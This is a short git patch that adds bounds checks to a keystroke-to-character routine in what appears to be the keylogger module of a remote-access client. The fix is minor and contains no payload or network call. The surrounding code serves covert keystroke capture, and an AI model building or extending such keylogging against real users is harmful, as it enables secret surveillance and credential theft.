From 0b720674359372500ee7272ad9d673780cfe41c9 Mon Sep 17 00:00:00 2001 From: d3agle Date: Mon, 25 May 2015 03:44:18 -0500 Subject: [PATCH] IndexOutOfBoundsException fix --- Client/Core/Keylogger/WinApi/KeyboardNativeMethods.cs | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/Client/Core/Keylogger/WinApi/KeyboardNativeMethods.cs b/Client/Core/Keylogger/WinApi/KeyboardNativeMethods.cs index 2135126e..c51432e9 100644 --- a/Client/Core/Keylogger/WinApi/KeyboardNativeMethods.cs +++ b/Client/Core/Keylogger/WinApi/KeyboardNativeMethods.cs @@ -102,12 +102,14 @@ internal static void TryGetCharFromKeyboardState(int virtualKeyCode, int scanCod break; case 1: - chars = new[] { pwszBuff[0] }; + if (pwszBuff.Length > 0) chars = new[] { pwszBuff[0] }; + else chars = null; break; // Two or more (only two of them is relevant) default: - chars = new[] { pwszBuff[0], pwszBuff[1] }; + if (pwszBuff.Length > 1) chars = new[] { pwszBuff[0], pwszBuff[1] }; + else chars = new[] { pwszBuff[0] }; break; }